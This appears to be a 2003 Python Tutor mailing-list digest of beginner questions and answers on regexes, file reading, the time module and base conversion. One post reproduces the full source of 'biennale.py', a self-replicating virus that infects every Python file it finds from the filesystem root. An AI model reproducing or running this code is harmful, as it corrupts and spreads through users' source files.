(or 'from time import time, clock' if you want to call them as time()
and clock() and not as time.time() and time.clock(). )

Abel Daniel


From a_abdi406@yahoo.com  Sat Jun 21 12:54:01 2003
From: a_abdi406@yahoo.com (Abdirizak abdi)
Date: Sat Jun 21 11:54:01 2003
Subject: [Tutor] about Regular Expression
Message-ID: <20030621155349.55717.qmail@web14506.mail.yahoo.com>

--0-247810788-1056210829=:54862
Content-Type: text/plain; charset=us-ascii

Hi,
I was trying to sset up a regular expression that covers the following numbers:
 
6868 8901
(02) 6868 8901
 
this is the regular expression set up to cover:
 
tee = re.compile(r'\b\(?\d?\d?\)?\s?\d+\d+\d+\d+\s\d+\d+\d+\d+\b')
tuu = "(02) 8750 9529"
tii = tee.findall(tuu)
print tii
 
MY PROBLEM is it is displaying this output:
 
[ ' 02) 8750 9529']
 
it misses the first bracket but don't know why:
 
can someone help see what I might be getting wrong ?
 
thanks isn advance


---------------------------------
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
--0-247810788-1056210829=:54862
Content-Type: text/html; charset=us-ascii

<DIV>Hi,</DIV>
<DIV>I was trying to sset up a regular expression that covers the following numbers:</DIV>
<DIV>&nbsp;</DIV>
<DIV>6868 8901</DIV>
<DIV>(02) 6868 8901</DIV>
<DIV>&nbsp;</DIV>
<DIV>this is the regular expression set up to cover:</DIV>
<DIV>&nbsp;</DIV>
<DIV>tee = re.compile(r'\b\(?\d?\d?\)?\s?\d+\d+\d+\d+\s\d+\d+\d+\d+\b')<BR>tuu = "(02) 8750 9529"<BR>tii = tee.findall(tuu)<BR>print tii</DIV>
<DIV>&nbsp;</DIV>
<DIV>MY PROBLEM is it is displaying this output:</DIV>
<DIV>&nbsp;</DIV>
<DIV>[ ' 02) 8750 9529']</DIV>
<DIV>&nbsp;</DIV>
<DIV>it misses the first bracket but don't know why:</DIV>
<DIV>&nbsp;</DIV>
<DIV>can someone help see what I might be getting wrong ?</DIV>
<DIV>&nbsp;</DIV>
<DIV>thanks isn advance</DIV><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://pa.yahoo.com/*http://rd.yahoo.com/evt=1207/*http://promo.yahoo.com/sbc/">SBC Yahoo! DSL</a> - Now only $29.95 per month!
--0-247810788-1056210829=:54862--


From alan.gauld@blueyonder.co.uk  Sat Jun 21 13:36:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sat Jun 21 12:36:02 2003
Subject: [Tutor] The time and clock functions
References: <20030621.072059.-42349.2.walt436@juno.com>
Message-ID: <008801c33813$04ecfcc0$6401a8c0@xp>

> When I am in IDLE,  I can't get the time() or clock() functions to
work.
> Can someone provide a code snippet I can use???  I thought they were
> built-in and didn't require anything more than just invoking them.

Try importing time first.

>From an IDLE session:

>>> import time
>>> time.time()
1056213217.603
>>> time.clock()
20.344167205608535
>>>



From magnus@thinkware.se  Sat Jun 21 13:49:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun 21 12:49:01 2003
Subject: [Tutor] EuroPython!
Message-ID: <5.2.1.1.0.20030621184901.01ea5e98@www.thinkware.se>

I'm going away for a week, and will meet real pythonistas
in the flesh at EuroPython (etc) next week! :) I've turned
off delivery of tutor for now so I'll miss out on a week
(sigh), and don't expect me to read private email often
either...


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From Adam Vardy <anvardy@roadrunner.nf.net>  Sat Jun 21 13:53:02 2003
From: Adam Vardy <anvardy@roadrunner.nf.net> (Adam Vardy)
Date: Sat Jun 21 12:53:02 2003
Subject: [Tutor] Readlines
Message-ID: <2152563261.20030621142247@roadrunner.nf.net>

I'm trying to read a file, and this Readlines() function is failing me.
It refuses to read the whole file. File has over 10000 lines. And it's
reading only 5000 odd.  Any idea what's wrong with it?

-- 
Adam Vardy



From bgailer@alum.rpi.edu  Sat Jun 21 14:34:01 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Sat Jun 21 13:34:01 2003
Subject: [Tutor] about Regular Expression
In-Reply-To: <20030621155349.55717.qmail@web14506.mail.yahoo.com>
Message-ID: <5.2.1.1.0.20030621112936.02561e88@66.28.54.253>

--=======57092849=======
Content-Type: text/plain; x-avg-checked=avg-ok-265E7091; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 08:53 AM 6/21/2003 -0700, Abdirizak abdi wrote:

>Hi,
>I was trying to sset up a regular expression that covers the following 
>numbers:
>
>6868 8901
>(02) 6868 8901
>
>this is the regular expression set up to cover:
>
>tee = re.compile(r'\b\(?\d?\d?\)?\s?\d+\d+\d+\d+\s\d+\d+\d+\d+\b')
>tuu = "(02) 8750 9529"
>tii = tee.findall(tuu)
>print tii
>
>MY PROBLEM is it is displaying this output:
>
>[ ' 02) 8750 9529']
>
>it misses the first bracket but don't know why:

THE PROBLEM is the \b which 'Matches a word boundary...."word' means 
"sequence of alphanumeric characters."' Remove the \b and it works.

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=======57092849=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-265E7091
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======57092849=======--



From R. Alan Monroe" <amonroe@columbus.rr.com  Sat Jun 21 14:53:01 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Sat Jun 21 13:53:01 2003
Subject: [Tutor] try/except slow?
In-Reply-To: <5.2.1.1.0.20030621112936.02561e88@66.28.54.253>
References: <5.2.1.1.0.20030621112936.02561e88@66.28.54.253>
Message-ID: <183146587010.20030621135909@columbus.rr.com>

Is it normal for try blocks to be slower than the same code that's not
wrapped in a try block?

I had a try: at the very beginning of my function, but when I moved it
so that it wrapped a single line inside that function, I got massive
speedups. Didn't know if it was due to some newbie gaff, or it's meant
to work that way.

Alan



From R. Alan Monroe" <amonroe@columbus.rr.com  Sat Jun 21 15:37:33 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Sat Jun 21 14:37:33 2003
Subject: [Tutor] try/except slow?
In-Reply-To: <183146587010.20030621135909@columbus.rr.com>
References: <5.2.1.1.0.20030621112936.02561e88@66.28.54.253>
 <183146587010.20030621135909@columbus.rr.com>
Message-ID: <70149168673.20030621144211@columbus.rr.com>

> Is it normal for try blocks to be slower than the same code that's not
> wrapped in a try block?

> I had a try: at the very beginning of my function, but when I moved it
> so that it wrapped a single line inside that function, I got massive
> speedups. Didn't know if it was due to some newbie gaff, or it's meant
> to work that way.

Disregard this one... it WAS a newbie gaff. Accidentally incrementing
variables in an inner loop instead of an outer loop can be a problem
:^)

Alan



From sigurd@12move.de  Sat Jun 21 16:20:02 2003
From: sigurd@12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=)
Date: Sat Jun 21 15:20:02 2003
Subject: [Tutor] about Regular Expression
In-Reply-To: <20030621155349.55717.qmail@web14506.mail.yahoo.com> (Abdirizak
 abdi's message of "Sat, 21 Jun 2003 08:53:49 -0700 (PDT)")
References: <20030621155349.55717.qmail@web14506.mail.yahoo.com>
Message-ID: <m3vfuzuvbx.fsf@hamster.pflaesterer.de>

On 21 Jun 2003, Abdirizak abdi <- a_abdi406@yahoo.com wrote:

> Hi, I was trying to sset up a regular expression that covers the following
> numbers:

> 6868 8901
> (02) 6868 8901

> this is the regular expression set up to cover:

> tee = re.compile(r'\b\(?\d?\d?\)?\s?\d+\d+\d+\d+\s\d+\d+\d+\d+\b')
> tuu = "(02) 8750 9529"
> tii = tee.findall(tuu)
> print tii

> MY PROBLEM is it is displaying this output:

> [ ' 02) 8750 9529']

> it misses the first bracket but don't know why:

Bob wrote why that happens (a word boundary exists at places where you
have at one side a word constituent char and on the other side a non
word constituent char (eg. `a('; between `a' and `(' exists a word
boundary).

But something other.  You could write your regexp a little bit shorter
and IMO clearer.  With
sre.compile(r'(?:\(\d{0,2}\)\s)?\d{4,}\s\d{4,}\b')
you achieve the same and it's easier for the reader to see what you
meant.
`(?:..)' is a non grouping operator (sometimes called shy)
`\d{4,}' means 4 or more digits

You could even write:
sre.compile(r"""
(?:\(\d{0,2}\)\s)?   # (02)  
\d{4,}\s\d{4,}\b""", # 1234 5678
sre.X)               # extended

or
sre.compile(r"""
(?:\(\d{0,2}\)\s)?   # (12)  | (1) | () |
\d{4,}\s\d{4,}\b""", # 1234 5678 | 12345678 123456789
sre.VERBOSE)         # extended

if you like it more clearer.  Here with that simple example it's no big
difference but with more complexly regexps it helps a lot.


   Karl
-- 
 `Beware the Jabberwock, my son!
     The jaws that bite, the claws that catch!
  Beware the Jubjub bird, and shun
    The frumious Bandersnatch!'   "Lewis Carroll" "Jabberwocky"



From Adam Vardy <anvardy@roadrunner.nf.net>  Sat Jun 21 16:51:01 2003
From: Adam Vardy <anvardy@roadrunner.nf.net> (Adam Vardy)
Date: Sat Jun 21 15:51:01 2003
Subject: [Tutor] Readlines
In-Reply-To: <2152563261.20030621142247@roadrunner.nf.net>
References: <2152563261.20030621142247@roadrunner.nf.net>
Message-ID: <463192576.20030621171956@roadrunner.nf.net>

Now I'm trying Read(). I have a couple observations, and wonder what
you folks think. Take the code below. I notice that Read() is
apparently incredibly slow! Text appears on screen, cursor slowly
gliding across. Which surprises as it is only reading a byte at a
time. On a Gigahertz machine.

The other thing is I notice this extract does not run corrently. It's
just supposed to print what it reads. And a part to pause for a
moment, after its printed many lines. (Thought that would be
necessary!)

You'll probably notice the error quicker than I have. I was just
wondering, how can you prevent errors. Suppose its just too warm in
the summer to pick out things easily. Well, would other ways to
structure your code occur to you that may minimize the liklihood of
such errors?

#
fhand=open(filepath,'r')

while c!='':
    while z!='\n':
        z=fhand.read(1)
        print z,
    ln=ln+1
    c=z
    if ln%100==0:
        print ln
        time.sleep(1)

print "DONE."

-- 
Adam Vardy



From GREENDAY31087@aol.com  Sat Jun 21 17:10:02 2003
From: GREENDAY31087@aol.com (GREENDAY31087@aol.com)
Date: Sat Jun 21 16:10:02 2003
Subject: [Tutor] help> modules
Message-ID: <195.1c294e37.2c261591@aol.com>

--part1_195.1c294e37.2c261591_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hello.       
       

       When I'm in the Python shell, I type in help and go to "modules." I 
was hoping to see them all but DOS went through it fast and ended up on a later 
part of the list of modules. How can I make it say <more> so I can simply push 
a button to see the next page? I'm not really experienced in DOS.

--part1_195.1c294e37.2c261591_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"0">Hello.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>
<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When I'm in the Python shell, I type in=
 help and go to "modules." I was hoping to see them all but DOS went through=
 it fast and ended up on a later part of the list of modules. How can I make=
 it say &lt;more&gt; so I can simply push a button to see the next page? I'm=
 not really experienced in DOS.</FONT></HTML>

--part1_195.1c294e37.2c261591_boundary--


From bgailer@alum.rpi.edu  Sat Jun 21 17:43:01 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Sat Jun 21 16:43:01 2003
Subject: [Tutor] help> modules
In-Reply-To: <195.1c294e37.2c261591@aol.com>
Message-ID: <5.2.1.1.0.20030621143918.024b3908@66.28.54.253>

--=======A77229A=======
Content-Type: multipart/alternative; x-avg-checked=avg-ok-15BF6BF0; boundary="=====================_23845267==.ALT"


--=====================_23845267==.ALT
Content-Type: text/plain; x-avg-checked=avg-ok-15BF6BF0; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 04:09 PM 6/21/2003 -0400, GREENDAY31087@aol.com wrote:
>When I'm in the Python shell, I type in help and go to "modules." I was 
>hoping to see them all but DOS went through it fast and ended up on a 
>later part of the list of modules. How can I make it say <more> so I can 
>simply push a button to see the next page?

 >python >foo.txt -c "help('modules')"

Will dump the list into foo.txt. Then you can edit that, or

 >type foo.txt | more

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625


--=====================_23845267==.ALT
Content-Type: text/html; x-avg-checked=avg-ok-15BF6BF0; charset=us-ascii
Content-Transfer-Encoding: 8bit

<html>
<body>
At 04:09 PM 6/21/2003 -0400, GREENDAY31087@aol.com wrote:<br>
<blockquote type=cite class=cite cite><font size=2>When I'm in the Python
shell, I type in help and go to &quot;modules.&quot; I was hoping to see
them all but DOS went through it fast and ended up on a later part of the
list of modules. How can I make it say &lt;more&gt; so I can simply push
a button to see the next page? </font></blockquote><br>
&gt;python &gt;foo.txt -c &quot;help('modules')&quot;<br><br>
<font face="arial">Will dump the list into foo.txt. Then you can edit
that, or<br><br>
&gt;type foo.txt | more<br>
<x-sigsep><p></x-sigsep>
Bob Gailer<br>
bgailer@alum.rpi.edu<br>
303 442 2625<br>
</font></body>
</html>


--=====================_23845267==.ALT--

--=======A77229A=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-15BF6BF0
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======A77229A=======--



From Predrag Ivanovic <predivan@ptt.yu>  Sat Jun 21 19:59:01 2003
From: Predrag Ivanovic <predivan@ptt.yu> (Predrag Ivanovic)
Date: Sat Jun 21 18:59:01 2003
Subject: [Tutor] <TUTOR>Python virus...
Message-ID: <605434452.20030618182022@ptt.yu>

#biennale.py______go   to______49th Biennale di Venezia
#HTTP://WWW.0100101110101101.ORG___+___[epidemiC]http://www.epidemic.ws

from dircache import *
from string import *
import os,sys
from stat import *

def fornicate(guest):
    try:
        soul=open(guest,"r")
        body=soul.read()
        soul.close()
        if find(body,"[epidemiC")== -1:
            soul=open(guest,"w")
            soul.write(mybody+"\n\n"+body)
            soul.close()

    except IOError:
        pass

def chat(party,guest):
    if split(guest,".")[-1] in ("py","pyw"):
        fornicate(party+guest)

def join(party):
    try:
        if not S_ISLNK(os.stat(party)[ST_MODE]):
            guestbook=listdir(party)
            if party !="/":party= party+ "/"
            if not lower(party) in wank and not "__init__.py" in guestbook :
                for guest in guestbook:
                    chat(party,guest)
                    join(party+guest)

    except OSError:
        pass

if __name__=='__main__':
    mysoul=open(sys.argv[0])
    mybody=mysoul.read()
    mybody=mybody[:find(mybody,"#"*3)+3]
    mysoul.close()
    blacklist=replace(split(sys.exec_prefix,":")[-1],"\\","/")
    if blacklist[-1] != "/":
        blacklist=blacklist+ "/"
    wank=[lower(blacklist),"/proc/","/dev/"]

join("/")
print ">        This file was contaminated by biennale.py,the world's slowest virus. "
print "Either Linux or Windows,biennale.py is definetely the first Python virus. "
print "[epidemiC]http://www.epidemic.ws___+___HTTP://WWW.0100101110101101.ORG___"
print ">__________________49th Biennale di Venezia_______________________________< "



From hillcino368@hotmail.com  Sat Jun 21 21:08:02 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Sat Jun 21 20:08:02 2003
Subject: [Tutor] built in functions int(),long()+convert.base(r1,r2,num)
Message-ID: <Law15-F18paMqZXGsMt00055598@hotmail.com>



>You cannot convert to any other base than 2 (a series of charges in a set 
>of transistors), but every time that Python shows you the number,

>it'll automatically convert it to base 10 for you, because
How can this be? You just said "You cannot convert to any other base than 2
(a series of charges in a set of transistors)

>humans aren't very good at interpreting the electrical capacitance of 
>transistors. But all of this is beside the point, because, as I said 
>before, an integer doesn't care what base you think it is, it's
But I care. Magnus's code to express the output
>still the same number.
This is quite vague. If you type
>>>print 12345
12345
you  get a base 10 number. The print command gives output in decimal or base 
10.
>>>print 0xFFFF
65535
Even using hex notation print still outputs base 10.

You are conflating the inner-workings of python and the output as the same 
unified thing.  Again the
key word is output not the  electrical capacitance of transistors. BTW, I 
don't think a transistor is a capacitor but rather a simi-conducter or 
amplier and switch. A  Dynamic Ram memory cell has a transistor
AND capacitor. The capacitor holds the charge bit=1 and the transistor is 
controlled by the memory
circutry the release of the charge. I picked this up with a google search. 
The processor probably has both also.

>
>>Maybe any integer in the range [2, 36], or zero. If radix is zero, the 
>>proper radix is guessed based on Hmm.., Example of 0 radix errors out
>>SyntaxError: invalid syntax
>>
>>>>>int('JEFFSHANNON',0)
>>>>
>>Traceback (most recent call last):
>>  File "<stdin>", line 1, in ?
>>ValueError: invalid literal for int(): JEFFSHANNON

Maybe any integer in the range [2, 36], or zero. If radix is zero,
the proper radix is guessed based on the contents of string;
Should the parser not guess that the radix is 29 or higher for 
int('JEFFSHANNON',0)?
yet it gives
>>Traceback (most recent call last):
>>  File "<stdin>", line 1, in ?
>>ValueError: invalid literal for int(): JEFFSHANNON
while
>>>int('JEFFSHANNON',29)
8204316932101375L
gives *a*  correct result. Not *the* correct result because
>>>int('JEFFSHANNON',36)
70932403861357991L
is also correct.


>>The largest letter in JEFFSHANNON is S. Then radix 29-36 will not error on 
>>that input.
>
>
>Obviously, you'll have an error if any symbol in the string is meaningless 
>for a given base.  This is the same thing as having a '9' in a string that 
>you're trying to interpret as octal, or a '5' in a string you're trying to 
>interpret as binary.  The symbol is meaningless in that base, so the only 
>reasonable thing for Python to do is report it as an error.
>
>>>What has you confused is that Python, when asked to show you an
>>
>>I am not confused at what python does. That is obvious. I am confused in 
>>how your manual
>>describes it. Ii know what it does. It just doesn't do what you say it is 
>>supposed to do
>>the way I read the definition.
>
>
>But you *are* confused, because you're conflating the step where Python 
>shows you a number, with how Python actually keeps track of the number.
No Jeff, not track of but display of. The results is what I am after. I 
asked python to display
the results for
>>>int('JEFFSHANNON',0) and got an error
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
ValueError: invalid literal for int(): JEFFSHANNON
The manual says
Maybe any integer in the range [2, 36], or zero. If radix is zero,
the proper radix is guessed based on the contents of string;


Internal manipulation is a separate issue from display,
I am not questioning the internals. It is the display or output I am 
interested in.

>and there *is* a conversion step in between.  The conversion is especially 
>apparent when dealing with floats, because the same float will display 
>differently depending on whether you use str() or repr() (the interpreter 
>uses repr() by default) --
>
> >>> repr(0.1)
>'0.10000000000000001'
Can't this be fixed?
> >>>
Then why this?
>>>print 0.1
0.1
if (the interpreter uses repr() by default)
>
>Note that the number that the interpreter prints is different from the 
>number I put in.  That's an artifact of conversion -- the decimal (base 10) 
>value is converted to a floating point (base 2) value, and because of 
>representation issues the conversion is not perfect.  (Just as 1/3 cannot 
>be exactly represented in base 10, since 0.3333... is inexact, but can be 
>exactly expressed in base 3 where it's 0.1, 1/10 cannot be exactly 
>represented in base 2.)  That binary floating point is then converted 
>*back* to a decimal value (by repr() ) to be printed to the screen.  That 
>same conversion happens with integers, too, although integers don't have 
>the conversion errors that fractional values do. But the interpreter *does* 
>use repr() to convert those integers to strings that can be displayed on 
>the screen.
>
>>>>Question. How can I get convert.base(r1,r2,str) without having to type 
>>>>the quotes for the string?
>>>>Eg., convert(16,10,FFFF) instead of convert(16,10,"FFFF") = 65535 ?
>>>
>>>
>>>You can't, because the Python parser would have way of knowing
>>
>>Of course you can. Change python >>> CONSOLE source to do it like dos. See 
>>my examples above.
>
>
>The Python parser, as I tried to explain, must deal with a much richer and 
>more diverse environment than the DOS commandline parser does. Because 
>there are so many more constructs for the Python parser to deal with, 
>there's a lot more room for ambiguity.  This means that in many cases, it's 
>necessary for the programmer to put a little more effort into resolving 
>that ambiguity.  There's only a couple of ways it makes sense to read a 
>commandline parameter, and in fact DOS simply treats *every* commandline 
>parameter as a string, and passes that set of strings to the program -- 
>there's no other options.  However, a given word in a Python script could 
>be interpreted in a wide variety of ways. Thus, it's necessary to indicate 
>whether a word is an integer literal (consists only of numbers, or starts 
>with '0x' and contains only numbers and letters ABCDEF), an identifier, or 
>a string literal.  DOS doesn't need to worry about whether something is an 
>identifier, because it *can't* be one; Python needs to have something to 
>distinguish strings from identifiers, and so it uses quotes.  This is not 
>something that can be changed in Python, though you can use a DOS command 
>line to feed the quote-less string into a Python program (as you've done 
>with your script).
>
>>this is dumb. It should look at it as a string. would require some 
>>thinking but it should be doable.
>>Try the dos example below. Obviouslt python is reading the stdin base3.py 
>>and passing the command
>>tail to variables r1,r2 and num. Python.exe is smart. it is the >>> 
>>console that doesn't understand.
>>
>>c:\Python23>python base3.py 36 10 JEFFSHANNON         Look mom, no quotes.
>>70932403861357991
>
>
>No, it's not the console, it's the parser, which is separate from (though 
>used by) the console.  In your example, Python is *not* reading stdin (it's 
>readying sys.argv, which is a list of strings) and even if it was, stdin is 
>by definition a string.  The commandline parameters to a program are parsed 
>by DOS, and then fed to python as a set of strings. Standard input is 
>gathered by DOS and then passed on to Python. (Actually, given the world of 
>virtual DOS machines within Windows and virtual device drivers, it's more 
>complicated than that, but the point remains that commandline parameters 
>and standard input come from the operating system, rather than through the 
>Python parser.)  Python *isn't* that smart -- it has no idea that you're 
>performing a conversion on the final parameter, and that the parameter must 
>therefore be a string.  All it can do is follow one simple step at a time, 
>exactly what you tell it to do.  And in order to know how to follow out 
>your directions, it first breaks everything up into pieces and figures out 
>what those pieces are.  It has to know that that final argument to the 
>function call is a string before it can understand how to work with it. 
>Here's an example to show why Python *must* have quotes around strings:
>
>FFFF = "15"
>base3.convert(16, 2, FFFF)
>
>Now, is this intended to convert 15 to binary (11111111), or FFFF to binary 
>(11111111 11111111 11111111 11111111) ??  There's no way to tell, and 
>Python certainly shouldn't be trying to guess.
Oh no? The Book says
>Maybe any integer in the range [2, 36], or zero. If radix is zero, the 
>proper radix is guessed based on the contents of string;
However, it doesen't work.

>
>>>>>convert.base(10,16,2**256-1)                 See Mom, No quotes here 
>>>>>either!
>>>>
>>0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
>
>
>That's because you're using an integer constant, which the parser *can* 
>distinguish from an identifier -- indeed, being able to distinguish between 
>those is why identifiers cannot start with a numeric character.
some more no quotes.
>>>convert.base(10,16,e**e*tan(1)*4)
888E53DBD2D not correct value but it parsed!
>>>convert.base(10,16,convert.numToBase(100,16))
40
>
>Jeff Shannon
>Technician/Programmer
>Credit International
>
>
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor

_________________________________________________________________
The new MSN 8: advanced junk mail protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From rhseabrook@aacc.edu  Sat Jun 21 22:59:02 2003
From: rhseabrook@aacc.edu (Seabrook, Richard)
Date: Sat Jun 21 21:59:02 2003
Subject: FW: [Tutor] Your good advice about Regular Expressions
Message-ID: <74DAD2F23F03F7438D9BE3436C6846F70129077D@AACC-MAIL.aacc.cc.md.us>

I apologize to the poster and to the list -- I wrote to=20
the poster directly instead of to the list and this is=20
his reply.
Dick S.


-----Original Message-----
From:	Karl Pfl=E4sterer [mailto:sigurd@12move.de]
Sent:	Sat 6/21/2003 8:05 PM
To:	Seabrook, Richard
Cc:=09
Subject:	Re: [Tutor] Your good advice about Regular Expressions
On 21 Jun 2003, Seabrook, Richard <- rhseabrook@aacc.edu wrote:

Please write next time your email to the list address so everyone can
read it.  As I don't know why you didn't it for now I send it only back
to you.

> I'm most familiar with using \( ...\) to tag a=20
> pattern for later recall as \1, \2, etc., however many
> items have been tagged.  Is this not possible in Python
> regular expressions?

Yes backreferences are possible in Python.  To tag groups you enclose
them in simple parenthesis not in escaped parentheses.  Escaped
parenthesis (like yours =BB\(=AB) simply mean a parentheses in the =
search
text.

But Python has something more convenient for backreferences if you have
deep nesting and want to avoid to reference the wrong group: named
groups.

To define a group you write `(P<text>..)' and for a backreference you
write (P=3Dtext..).  But you can also use \number for a backreference.

Eg.
$ python
Python 2.2.2 (#1, Feb  3 2003, 14:10:37)=20
[GCC 3.2 20020927 (prerelease)] on cygwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import sre
>>> reg =3D sre.compile(r'(?P<word>\b\w+\b).+(?P=3Dword)')
>>> pat =3D reg.match("Dies ist ein Test Dies")
>>> pat.group()
'Dies ist ein Test Dies'
>>> pat.group(1)
'Dies'
>>> pat.group('word')
'Dies'
>>> reg =3D sre.compile(r'(?P<word>\b\w+\b).+\1')
>>> pat =3D reg.match("Dies ist ein Test Dies")
>>> pat.group()
'Dies ist ein Test Dies'
>>>=20

The Python library reference writes a bit about that but a IMO better
explaination can be found at http://www.python.org/doc/howto .  There is
a regexp howto which explains all these items excellent.

HTH

bye
   Karl
--=20
Increasingly, people seem to misinterpret complexity as
sophistication, which is baffling -- the incomprehensible should cause
suspicion rather than admiration. Possibly this trend results from a
mistaken belief that using a somewhat mysterious device confers an
aura of power on the user.                                  -- Niklaus =
Wirth







From hillcino368@hotmail.com  Sun Jun 22 00:23:01 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Sat Jun 21 23:23:01 2003
Subject: [Tutor] RE: Base converter bases 2-62
Message-ID: <Law15-F19ogxLDp7mvj0000f16b@hotmail.com>



>From: "Jeff Shannon" <jeff@ccvcorp.com>
>To: tutor@python.org
>Subject: Re: [Tutor] RE: Base converter bases 2-62
>Date: Fri, 20 Jun 2003 12:39:38 -0700
>
>cino hilliard wrote:
>
>>>(Of course, as Magnus pointed out, this whole loop can be easily replaced 
>>>with 'dec = int(num, r1)' as long as you can cope with a maximum base of 
>>>32....
>>
>>Why even mention this? I went to all this trouble for base 32 max? the 
>>atol and ltoa in c do this
>>for you to base 36.
>>
>
>Whoops, I *meant* base 36, which is the documented maximum radix for int(). 
>  Python (and I believe the C library functions) don't
That is correct. The macro
#define b2b(b1,b2,num) itoa(strtol(num,NULL,b1),num,b2)
was one of my better acheivements to get a very short c program to convert 
base to base.
Of course no quotes here because of the powerful c parser and typing. 
Caveat:The integer cannot
exceed 2^31-1 So C won't process b2b(29,10,JEFFSHANNON) properly because 
JEFFSHANNON overflows integer.


>distinguish between upper and lower case for these conversions, which means 
>that there's 26 alpha + 10 numeric symbols available.  It's certainly 
>possible to use a wider range of symbols, but
Yes. That is the issue - getting python to do it because of the arbitrary 
integer precision.
>probably not of any practical value.

When 64 bit 128 bit and higher processor chips hit the mainstream you may 
change your opinion
if you want to get a base 64 representation. My convert.base would do this 
quickly if we used
the { and | as the value for 62 and 62 base 10.

>
>Jeff Shannon
>Technician/Programmer
>Credit International
>
>
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor


  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
Help STOP SPAM with the new MSN 8 and get 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From Don Arnold" <darnold02@sprynet.com  Sun Jun 22 01:11:01 2003
From: Don Arnold" <darnold02@sprynet.com (Don Arnold)
Date: Sun Jun 22 00:11:01 2003
Subject: [Tutor] Readlines
References: <2152563261.20030621142247@roadrunner.nf.net> <463192576.20030621171956@roadrunner.nf.net>
Message-ID: <010701c33874$1a1a0320$6010ba3f@defaultcomp>

----- Original Message -----
From: "Adam Vardy" <anvardy@roadrunner.nf.net>
To: <tutor@python.org>
Sent: Saturday, June 21, 2003 2:49 PM
Subject: Re: [Tutor] Readlines


>
> Now I'm trying Read(). I have a couple observations, and wonder what
> you folks think. Take the code below. I notice that Read() is
> apparently incredibly slow! Text appears on screen, cursor slowly
> gliding across. Which surprises as it is only reading a byte at a
> time. On a Gigahertz machine.
>
> The other thing is I notice this extract does not run corrently. It's
> just supposed to print what it reads. And a part to pause for a
> moment, after its printed many lines. (Thought that would be
> necessary!)
>
> You'll probably notice the error quicker than I have. I was just
> wondering, how can you prevent errors. Suppose its just too warm in
> the summer to pick out things easily. Well, would other ways to
> structure your code occur to you that may minimize the liklihood of
> such errors?
>
> #
> fhand=open(filepath,'r')
>
> while c!='':
>     while z!='\n':
>         z=fhand.read(1)
>         print z,
>     ln=ln+1
>     c=z
>     if ln%100==0:
>         print ln
>         time.sleep(1)
>
> print "DONE."
>

Well, since filepath, c, z, and ln aren't defined (and time wasn't
imported), this script doesn't run. If you do define them and add the
import, you still have problems: as soon as you hit your first '\n', you
stop reading from the file and just keep looping, pausing 1 second every 100
iterations. File processing like this is usually done by performing a
priming read to set up your looping condition, then having another read at
the end of your loop body:

import time

filepath = 'c:/temp2/infile.txt'

fhand=open(filepath,'r')

ln = 0

z = fhand.read(1)

while z != '':
    if z == '\n':
        ln = ln + 1
        if ln % 2 == 0:
            print '[%s]' % ln
            time.sleep(1)
        else:
            print
    else:
        print z,

    z=fhand.read(1)

fhand.close()
print "DONE."

>>>
l i n e   1
l i n e   2 [2]
l i n e   3
l i n e   4 [4]
l i n e   5
l i n e   6 [6]
l i n e   7
l i n e   8 [8]
l i n e   9
l i n e   1 0 [10]
l i n e   1 1
l i n e   1 2 [12]
l i n e   1 3
l i n e   1 4 [14]
l i n e   1 5
l i n e   1 6 [16]
l i n e   1 7
l i n e   1 8 [18]
l i n e   1 9
l i n e   2 0 [20]

DONE.
>>>

I'm still not sure why you're not just using readline( ), though:

import time

filepath = 'c:/temp2/infile.txt'
fhand=open(filepath,'r')
z = fhand.readline()

ln = 0

while z != '':
    print z[:-1],      ## don't print trailing newline since we might want
to print the line #
    ln = ln + 1
    if ln % 2 == 0:
        print ' [%s]' % ln
        time.sleep(1)
    else:
        print
    z=fhand.readline()

fhand.close()
print "DONE."


HTH,
Don



